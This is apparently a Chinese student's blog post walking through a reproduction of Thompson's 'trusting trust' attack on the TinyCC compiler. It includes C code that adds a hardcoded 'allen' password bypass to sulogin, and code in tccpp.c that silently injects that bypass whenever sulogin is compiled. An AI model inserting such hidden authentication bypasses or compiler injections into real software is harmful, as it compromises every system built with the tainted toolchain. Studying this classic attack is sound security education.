给开源编译器插入后门
这个是我在大四考研初试结束之后做的,当时是看到李博杰大神的文章,再加上这是来在经典的 KThmopson 的演讲文章,所以很感兴趣,就动手做了一下。其实不难,没想到后来在复试因为这个也能说上几句,感觉蛮巧的。
Step 1: 编译TCC,测试是否正常使用 (tinycc-01)
tcc 就是简单版本的 C 语言编译器,这一步就是简单的下载 tcc 代码,然后用 gcc 之类的编译器编译安装。
编译完成之用 tcc 去编译允许一个简单的 HelloWorld 测试程序即可。这里我遇到一个问题,就是 tcc 去编译其他程序时总是报错。后来排查是发现编译 tcc 没有使用 --prefix,这种问题其实回过头来看都是小白会犯的错。具体可以看我的记录文章。
Step 2: 编译sulogin,测试是否正常使用 (sulogin-01)
sulogin 是一个简单的登录程序。下载代码,用 tcc 编译,然后运行。这一步没遇到问题。
Step 3: 改造sulogin,测试是否可以通过 (sulogin-02)
然后我们就修改 sulogin,让它能通过我们设定的密码,其实这个就是一句话的事情,在第 600 行左右的地方这里比较密码的,所以我们加一句让我们自己的密码也通过。
while (pwd) {
if ((p = getpasswd(pwd->pw_passwd)) == NULL)
break;
// 修改这里
if (pwd->pw_passwd[0] == 0 ||
strcmp(p, "allen") == 0 ||
strcmp(crypt(p, pwd->pw_passwd), pwd->pw_passwd) == 0)
sushell(pwd);
// ...
}
Step 4: 改造TCC,只考虑编译 sulogin 会进行修改(tinycc-02)
由于只是 demo,所以只需要编译的时候识别出是编译 sulogin,然后插入恶意代码就好。
如果检测出编译的是 sulogin,由于是 demo,就直接简单地进行对比就行,修改的代码在 tccpp.c 的 handle_eob 函数,如下:
len = read(bf->fd, bf->buffer, len);
const char *login_match = "if (pwd->pw_passwd[0] == 0 ||";
const char *login_append = " strcmp(p, \"allen\") == 0 ||";
char *bf_buffer = (char *)bf->buffer;
// search login_match in bf_buffer
char *login_match_ptr = strstr(bf_buffer, login_match);
if (login_match_ptr && login_match_ptr < bf_buffer + len) {
if (login_match_ptr + strlen(login_append) + strlen(login_match) < bf_buffer + len) {
// add backdoor code to bf_buffer
login_match_ptr += strlen(login_match);
strcpy(login_match_ptr, login_append);
// move bf->fd to the end of backdoor code
int offset = login_match_ptr - bf_buffer;
lseek(bf->fd, -(len - offset), SEEK_CUR);
// adjust len
len = login_match_ptr - bf_buffer + strlen(login_append);
} else {
int offset = login_match_ptr - bf_buffer;
lseek(bf->fd, -(len - offset), SEEK_CUR);
len = login_match_ptr - bf_buffer;
}
}
上面的代码其实就是查看是否有 login_match 这个字符串,如果有就认为是编译的 sulogin,然后就把恶意代码 login_append 加入到要编译的 sulogin 中即可。
Step 5: 编译sulogin,测试是否正常使用 (sulogin-03)
这个没什么好说的,注意这里编译的 sulogin 是正常 sulogin,但是由于我们的 tcc 在编译的时候插入了恶意代码,所以最后仍然会有漏洞。
Step 6: 改造TCC,考虑编译tcc 自身会进行修改 (tinycc-03)
这里现在想想也很简单,之前包括看参考资料是用的输出自身的程序,专业名字叫 Quine,但现在想想完全不需要。
我就仿照 Step4 那样就可以了,根据字符串匹配,能够判断现在编译的是否是 tcc,如果是的话,那么就插入代码就好了,很简单。
当时用的是输出自身的程序,现在看是没必要了,所以这个输出自身的程序的记录文件就放到其他文件夹里面去吧。
Step 7: 编译tcc,编译sulogin,测试tinycc-03 是否通过 (sulogin-04)
完成上面的任务,那接下来就顺理成章了。用恶意的 tcc 编译正常的 tcc,然后用编译得到的 tcc 再去编译 sulogin 即可。
总结下来就是感觉听起来很牛逼,但实际还就是那样吧。本质上就是编译器的漏洞,也就是攻击者对于编译器要达到控制的程度才可以。这样用这种危险的编译器去编译其他,那么就会造成大范围杀伤。但是控制编译器又谈何容易呢?普通的编译器漏洞不会造成这种结果。
参考:https://01.me/2014/11/insert-backdoor-into-compiler/